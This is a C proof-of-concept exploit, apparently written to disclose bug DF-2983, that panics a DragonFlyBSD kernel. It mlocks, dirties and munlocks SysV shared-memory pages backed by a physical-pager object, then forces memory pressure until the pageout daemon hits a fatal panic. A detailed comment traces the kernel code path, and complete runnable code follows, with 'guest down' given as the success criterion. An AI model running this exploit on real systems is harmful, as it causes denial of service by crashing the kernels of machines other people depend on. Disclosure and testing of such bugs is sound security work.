DF-2983 / df2983.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | /* * DF-2983 — DragonFlyBSD kernel panic via SysV shm (OBJT_PHYS) + mlock/munlock * * NOTE: on DragonFly mlock(2) requires SYSCAP_RESTRICTEDROOT (vm_mmap.c:1030, * the pmap_wired_count #ifdef is dead code on every platform), so the PoC is * run as root. The kernel-level bug is unchanged: wiring faults create * queue-managed pages in OBJT_PHYS objects, which phys_pager cannot launder. * * Chain: * 1. shmget() -> segment backed by OBJT_PHYS object (sysv_shm.c:540-542) * 2. mlock() -> vm_fault(..., VM_PROT_READ, VM_FAULT_USER_WIRE) * (vm_fault.c:2631) — TRYPAGER() is false for wire faults * (vm_fault.c:383-385), so phys_pager_getpage() never runs; * the page is zero-filled at vm_fault.c:2327 WITHOUT * PG_UNQUEUED -> queue-managed page in a phys object. * 3. write -> page dirtied through the pmap. * 4. munlock() -> vm_fault_unwire() -> vm_page_unwire(m,1) (vm_fault.c:2694) * -> page placed on the active queue, dirty. * 5. memory pressure -> pagedaemon inactive scan: object type is not * SWAP/DEFAULT so swap_pageouts_ok=1 (vm_pageout.c:1186-1189, * code assumes "not anon == vnode"), -> vm_pageout_page -> * vm_pageout_clean_helper (PG_UNQUEUED check at :329 passes, * flag absent) -> vm_pageout_flush -> vm_pager_put_pages * (vm_pageout.c:509) -> phys_pager_putpages -> * panic("phys_pager_putpage called") (phys_pager.c:114) * * Success criterion: kernel panic "phys_pager_putpage called", guest down. */ #include <sys/ipc.h> #include <sys/shm.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define DIRTY_MB 512 /* dirty, queue-managed pages in OBJT_PHYS */ #define HOG_MB 1536 /* unreclaimable phys hog (PG_UNQUEUED) */ #define EAT_MB 512 /* anonymous churn for the pagedaemon */ static void die(const char *s) { perror(s); exit(1); } int main(void) { int id_a, id_b; char *a, *b; size_t dirty_sz = (size_t)DIRTY_MB << 20; size_t hog_sz = (size_t)HOG_MB << 20; size_t i; setvbuf(stdout, NULL, _IONBF, 0); printf("[*] uid=%d euid=%d\n", getuid(), geteuid()); /* Stage 1: create dirty, queue-managed pages in an OBJT_PHYS object */ id_a = shmget(IPC_PRIVATE, dirty_sz, IPC_CREAT | 0600); if (id_a < 0) die("shmget(A)"); a = shmat(id_a, NULL, 0); if (a == (void *)-1) die("shmat(A)"); printf("[*] A shmid=%d (%d MB) @ %p\n", id_a, DIRTY_MB, a); /* FIRST fault on these pages is the wiring fault (pager bypassed) */ if (mlock(a, dirty_sz) < 0) die("mlock(A)"); printf("[*] A mlocked: wiring faults bypassed phys_pager_getpage " "(no PG_UNQUEUED)\n"); memset(a, 0x41, dirty_sz); /* dirty while wired */ printf("[*] A written (dirty)\n"); if (munlock(a, dirty_sz) < 0) die("munlock(A)"); printf("[*] A munlocked: %d dirty pages now queue-managed in an " "OBJT_PHYS object\n", (int)(dirty_sz >> 12)); /* Stage 2: unreclaimable phys hog (normal faults -> PG_UNQUEUED) */ id_b = shmget(IPC_PRIVATE, hog_sz, IPC_CREAT | 0600); if (id_b < 0) die("shmget(B)"); b = shmat(id_b, NULL, 0); if (b == (void *)-1) die("shmat(B)"); printf("[*] B shmid=%d (%d MB) @ %p: touching\n", id_b, HOG_MB, b); for (i = 0; i < hog_sz; i += 4096) b[i] = (char)i; printf("[*] B resident: system under real memory pressure\n"); /* Stage 3: anonymous churn to drive the pageout daemon */ if (fork() == 0) { size_t n = 0; for (;;) { char *p = malloc(16 << 20); if (!p) { sleep(1); continue; } for (i = 0; i < (16u << 20); i += 4096) p[i] = 1; n += 16; if (n >= EAT_MB) break; } pause(); /* hold the memory */ _exit(0); } printf("[*] waiting for the pagedaemon to launder the dirty phys " "pages...\n"); for (i = 0; i < 240; i++) { sleep(1); /* keep touching A's first page so pressure logic sees the seg */ a[0] = (char)i; } printf("[!] no panic after 240s\n"); return 2; } |